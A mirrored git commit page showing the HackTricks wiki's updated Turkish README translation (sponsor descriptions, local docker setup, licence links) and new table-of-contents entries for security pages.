mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/README.md', 'src/network-services-pentesting/32100-udp-
This commit is contained in:
parent
dd1d8d43ba
commit
ed3cc07cab
File diff suppressed because one or more lines are too long
108
src/README.md
108
src/README.md
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
_Hacktricks logoları ve hareket tasarımı_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_ tarafından._
|
_Hacktricks logoları ve motion tasarımı_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
### HackTricks'i Yerel Olarak Çalıştırın
|
### HackTricks'i Yerel Olarak Çalıştır
|
||||||
```bash
|
```bash
|
||||||
# Download latest version of hacktricks
|
# Download latest version of hacktricks
|
||||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||||
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
|
|||||||
# Run the docker container indicating the path to the hacktricks folder
|
# Run the docker container indicating the path to the hacktricks folder
|
||||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||||
```
|
```
|
||||||
Yerel kopyanız **[http://localhost:3337](http://localhost:3337)** adresinde **5 dakika içinde** (kitabı oluşturması gerekiyor, sabırlı olun) **mevcut olacaktır**.
|
Yerel HackTricks kopyanız **[http://localhost:3337](http://localhost:3337)** adresinde 5 dakikadan kısa bir sürede kullanılabilir olacaktır (kitabı derlemesi gerekiyor, sabırlı olun).
|
||||||
|
|
||||||
## Kurumsal Sponsorlar
|
## Kurumsal Sponsorlar
|
||||||
|
|
||||||
@ -39,11 +39,11 @@ Yerel kopyanız **[http://localhost:3337](http://localhost:3337)** adresinde **5
|
|||||||
|
|
||||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **pentesting, Kırmızı takımlar ve eğitim** gibi birkaç değerli siber güvenlik hizmeti sunmak için kendi hacking araçlarını geliştirir.
|
[**STM Cyber**](https://www.stmcyber.com) araştırma yapan ve kendi saldırı araçlarını geliştiren harika bir siber güvenlik şirketidir; sloganları **HACK THE UNHACKABLE**. Pentesting, Red teams ve eğitim gibi **birçok değerli siber güvenlik hizmeti sunarlar**.
|
||||||
|
|
||||||
**Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz.
|
Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden inceleyebilirsiniz.
|
||||||
|
|
||||||
**STM Cyber** ayrıca HackTricks gibi siber güvenlik açık kaynak projelerini desteklemektedir :)
|
**STM Cyber** ayrıca HackTricks gibi açık kaynaklı siber güvenlik projelerini destekliyor :)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -51,7 +51,7 @@ Yerel kopyanız **[http://localhost:3337](http://localhost:3337)** adresinde **5
|
|||||||
|
|
||||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilginin yayılmasını teşvik etme misyonu** ile bu kongre her disiplinden teknoloji ve siber güvenlik uzmanları için kaynayan bir buluşma noktasıdır.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.rootedcon.com/
|
https://www.rootedcon.com/
|
||||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
|||||||
|
|
||||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
|
**Intigriti**, Avrupa'nın #1 ethical hacking ve bug bounty platformudur.
|
||||||
|
|
||||||
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
**Bug bounty ipucu**: Hackers tarafından, hackerlar için oluşturulmuş premium bir bug bounty platformu olan **Intigriti**'ye **kaydolun**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://go.intigriti.com/hacktricks
|
https://go.intigriti.com/hacktricks
|
||||||
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
|
|||||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla **iş akışlarını** kolayca oluşturun ve otomatikleştirin.
|
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca kurmak ve otomatikleştirmek için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanın.
|
||||||
|
|
||||||
Bugün Erişim Alın:
|
Bugün Erişim Alın:
|
||||||
|
|
||||||
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
|||||||
|
|
||||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
Deneyimli hackerlar ve bug bounty avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||||
|
|
||||||
- **Hacking İçgörüleri:** Hacking'in heyecanı ve zorluklarına dair içeriklerle etkileşimde bulunun
|
- **Hacking Insights:** Hacklemenin heyecanı ve zorluklarına dair içeriğe katılın
|
||||||
- **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
- **Real-Time Hack News:** Hızla değişen hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
|
||||||
- **Son Duyurular:** Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
- **Latest Announcements:** Yeni açılan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||||
|
|
||||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla iş birliği yapmaya başlayın!
|
**Bize [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden katılın** ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Temel penetrasyon testi araç seti
|
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
|
||||||
|
|
||||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
|
**Web uygulamalarınız, ağınız ve cloud** hakkında bir hacker bakış açısı edinin
|
||||||
|
|
||||||
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
|
**Gerçek iş etkisi olan kritik, sömürülebilir zafiyetleri bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalık yükseltmeye izin veren güvenlik sorunlarını bulmak ve otomatik exploitlerle gerekli delilleri toplamak için 20+ özel aracımızı kullanın; bu sayede sıkı çalışmanız ikna edici raporlara dönüşür.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
|||||||
|
|
||||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**SerpApi**, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
|
**SerpApi**, arama motoru sonuçlarına gerçek zamanlı erişim için hızlı ve kolay API'ler sunar. Search engine sonuçlarını kazır, proxy'leri yönetir, captchaları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
|
||||||
|
|
||||||
SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\
|
SerpApi aboneliği, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını kazımak için 50'den fazla API'ye erişim içerir.\
|
||||||
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları sürekli olarak tüm reklamları, satır içi resimleri ve videoları, bilgi grafiklerini ve arama sonuçlarında bulunan diğer öğeleri ve özellikleri içerir.
|
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları kazımıyor**. SerpApi cevapları tutarlı şekilde tüm reklamları, gömülü görselleri ve videoları, knowledge graph'ları ve arama sonuçlarında bulunan diğer öğe ve özellikleri içerir.
|
||||||
|
|
||||||
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
|
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunuyor.\
|
||||||
Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
|
Daha fazla bilgi için [**blog**](https://serpapi.com/blog/)**'larını** inceleyin veya örnek için [**playground**](https://serpapi.com/playground)'u deneyin.\
|
||||||
**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign_up)**.**
|
**Ücretsiz bir hesap oluşturabilirsiniz** [**buradan**](https://serpapi.com/users/sign_up)**.**
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### [8kSec Academy – Derinlemesine Mobil Güvenlik Kursları](https://academy.8ksec.io/)
|
### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
|
||||||
|
|
||||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve ters mühendislik yapma yeteneklerini öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**:
|
Mobil uygulamaları ve cihazları korumak için zafiyet araştırması, penetration testing ve reverse engineering yapmak için gereken teknolojileri ve becerileri öğrenin. On-demand kurslarımızla **iOS ve Android güvenliğini uzmanlaşın** ve **sertifika alın**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://academy.8ksec.io/
|
https://academy.8ksec.io/
|
||||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
|||||||
|
|
||||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.net) **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumak için **ofansif güvenlik hizmetleri** sunmaktadır.
|
[**WebSec**](https://websec.net) **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanında** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olur; **offensive-security hizmetleri** sunarak modern bir yaklaşım benimser.
|
||||||
|
|
||||||
WebSec, Amsterdam ve Wyoming'de ofisleri olan uluslararası bir güvenlik şirketidir. **Pentesting, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı** ve daha fazlasını içeren **hepsi bir arada güvenlik hizmetleri** sunmaktadır.
|
WebSec, Amsterdam ve Wyoming'de ofisleri bulunan uluslararası bir güvenlik şirketidir. Hepsi bir arada güvenlik hizmetleri sunarlar; yani her şeyi yaparlar: Pentesting, **Security** Denetimleri, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing ve çok daha fazlası.
|
||||||
|
|
||||||
WebSec'in diğer bir ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödeme yapmazsınız!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.net/en/) ve [**bloglarına**](https://websec.net/blog/) göz atın!
|
WebSec hakkında başka güzel bir şey ise sektör ortalamasının aksine WebSec'in **yeteneklerine çok güvenmesi**, öyle ki **en kaliteli sonuçları garanti ediyorlar**, web sitelerinde şu ifade yer alıyor: "**If we can't hack it, You don't pay it!**". Daha fazla bilgi için [**web sitesi**](https://websec.net/en/) ve [**blog**](https://websec.net/blog/)'larına göz atın!
|
||||||
|
|
||||||
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
|
Ayrıca WebSec, HackTricks'in de **adana destekçilerinden** biridir.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||||
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
|||||||
|
|
||||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons), bir veri ihlali (leak) arama motorudur. \
|
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) bir data breach (leak) arama motorudur. \
|
||||||
Küçük ve büyük tüm veri ihlalleri üzerinde (sadece büyük olanlar değil) rastgele dize araması (google gibi) sağlıyoruz. \
|
Büyük ve küçük her türlü veri sızıntısı üzerinde rasgele string araması (google gibi) sağlıyoruz --sadece büyük sızıntılar değil-- birden fazla kaynaktan gelen veriler üzerinde. \
|
||||||
İnsan araması, AI araması, organizasyon araması, API (OpenAPI) erişimi, theHarvester entegrasyonu, bir pentesterin ihtiyaç duyduğu tüm özellikler.\
|
Kişi aramaları, AI aramaları, organizasyon aramaları, API (OpenAPI) erişimi, theHarvester entegrasyonu; bir pentester'ın ihtiyaç duyduğu tüm özellikler.\
|
||||||
**HackTricks, hepimiz için harika bir öğrenme platformu olmaya devam ediyor ve onu desteklemekten gurur duyuyoruz!**
|
**HackTricks bizim için harika bir öğrenme platformu olmaya devam ediyor ve onu desteklemekten gurur duyuyoruz!**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
|||||||
|
|
||||||
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Saha için inşa edildi. Sizin etrafınızda inşa edildi.**\
|
|
||||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks), sektör uzmanları tarafından oluşturulan ve yönetilen etkili siber güvenlik eğitimleri geliştirir ve sunar. Programları, ekipleri derin bir anlayış ve uygulanabilir becerilerle donatmak için teorinin ötesine geçer ve gerçek dünya tehditlerini yansıtan özel ortamlar kullanır. Özel eğitim talepleri için, [**buradan**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) bizimle iletişime geçin.
|
|
||||||
|
|
||||||
**Eğitimlerini farklı kılan şey:**
|
**Saha için tasarlandı. Sizin etrafınızda şekillendi.**\
|
||||||
* Özel olarak hazırlanmış içerik ve laboratuvarlar
|
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks), sektör uzmanları tarafından oluşturulan ve yönetilen etkili siber güvenlik eğitimleri geliştirir ve sunar. Programları teorinin ötesine geçer ve ekipleri gerçek dünya tehditlerini yansıtan özel ortamlar kullanarak derin anlayış ve uygulanabilir becerilerle donatır. Özel eğitim talepleri için bize [**buradan**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) ulaşın.
|
||||||
* Üst düzey araçlar ve platformlarla desteklenmektedir
|
|
||||||
* Uygulayıcılar tarafından tasarlanmış ve öğretilmiştir
|
**Eğitimlerini farklı kılanlar:**
|
||||||
|
* Özel hazırlanmış içerik ve laboratuvarlar
|
||||||
|
* Üst düzey araç ve platformlarla desteklenir
|
||||||
|
* Uygulayıcılar tarafından tasarlanır ve verilir
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||||
@ -198,23 +199,38 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
|||||||
|
|
||||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Last Tower Solutions, **Eğitim** ve **FinTech** kurumları için özel siber güvenlik hizmetleri sunmaktadır ve **penetrasyon testi, bulut güvenliği değerlendirmeleri** ve **uyum hazırlığı** (SOC 2, PCI-DSS, NIST) üzerine odaklanmaktadır. Ekibimiz, her angajmana derin teknik uzmanlık ve endüstri standartlarında içgörü getiren **OSCP ve CISSP sertifikalı profesyonellerden** oluşmaktadır.
|
Last Tower Solutions, **Eğitim** ve **FinTech** kurumları için uzmanlaşmış siber güvenlik hizmetleri sunar; odak alanları arasında **penetration testing, cloud security assessments** ve **compliance readiness** (SOC 2, PCI-DSS, NIST) bulunur. Ekibimizde **OSCP ve CISSP sertifikalı profesyoneller** yer almakta olup, her görevde derin teknik uzmanlık ve endüstri standardı içgörüsü sağlar.
|
||||||
|
|
||||||
Otomatik taramaların ötesine geçerek, yüksek riskli ortamlara özel **manuel, istihbarat odaklı testler** gerçekleştiriyoruz. Öğrenci kayıtlarını güvence altına almaktan finansal işlemleri korumaya kadar, organizasyonların en önemli olanı savunmalarına yardımcı oluyoruz.
|
Otomatik taramaların ötesine geçip yüksek riskli ortamlara özel **manuel, istihbarat odaklı testler** yapıyoruz. Öğrenci kayıtlarını güvence altına almaktan finansal işlemleri korumaya kadar, kuruluşların en çok önem verdikleri varlıkları savunmalarına yardımcı oluyoruz.
|
||||||
|
|
||||||
_“Kaliteli bir savunma, saldırıyı bilmekle başlar, biz anlayış yoluyla güvenlik sağlıyoruz.”_
|
_“Kaliteli bir savunma için saldırıyı bilmek gerekir, biz anlayışla güvenlik sağlıyoruz.”_
|
||||||
|
|
||||||
En son siber güvenlik gelişmeleri hakkında bilgi sahibi olmak için [**blogumuzu**](https://www.lasttowersolutions.com/blog) ziyaret edin.
|
Siber güvenlikteki en son gelişmeleri takip etmek için [**blog**](https://www.lasttowersolutions.com/blog)'larını ziyaret edin.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.lasttowersolutions.com/
|
https://www.lasttowersolutions.com/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||||
|
|
||||||
|
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
K8Studio IDE, DevOps, DevSecOps ve geliştiricilerin Kubernetes cluster'larını verimli bir şekilde yönetmelerini, izlemelerini ve güvenliklerini sağlamalarını güçlendirir. AI destekli içgörülerimizden, gelişmiş güvenlik çerçevemizden ve CloudMaps GUI'mizden yararlanarak cluster'larınızı görselleştirin, durumlarını anlayın ve güvenle hareket edin.
|
||||||
|
|
||||||
|
Ayrıca K8Studio, tüm büyük kubernetes dağıtımlarıyla **uyumludur** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift ve daha fazlası).
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
https://k8studio.io/
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Lisans & Feragatname
|
## Lisans & Feragatname
|
||||||
|
|
||||||
Onları kontrol edin:
|
Bunları inceleyin:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
welcome/hacktricks-values-and-faq.md
|
welcome/hacktricks-values-and-faq.md
|
||||||
@ -222,6 +238,6 @@ welcome/hacktricks-values-and-faq.md
|
|||||||
|
|
||||||
## Github İstatistikleri
|
## Github İstatistikleri
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
{{#include ./banners/hacktricks-training.md}}
|
{{#include ./banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -59,6 +59,7 @@
|
|||||||
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||||
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||||
|
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
|
||||||
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||||
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||||
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||||
@ -82,6 +83,7 @@
|
|||||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||||
|
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
|
||||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||||
|
|
||||||
@ -102,6 +104,7 @@
|
|||||||
|
|
||||||
# 🐧 Linux Hardening
|
# 🐧 Linux Hardening
|
||||||
|
|
||||||
|
- [Linux Basics](linux-hardening/linux-basics.md)
|
||||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||||
@ -570,6 +573,7 @@
|
|||||||
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
||||||
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
||||||
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
||||||
|
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
|
||||||
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
||||||
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
||||||
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||||
@ -587,6 +591,7 @@
|
|||||||
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
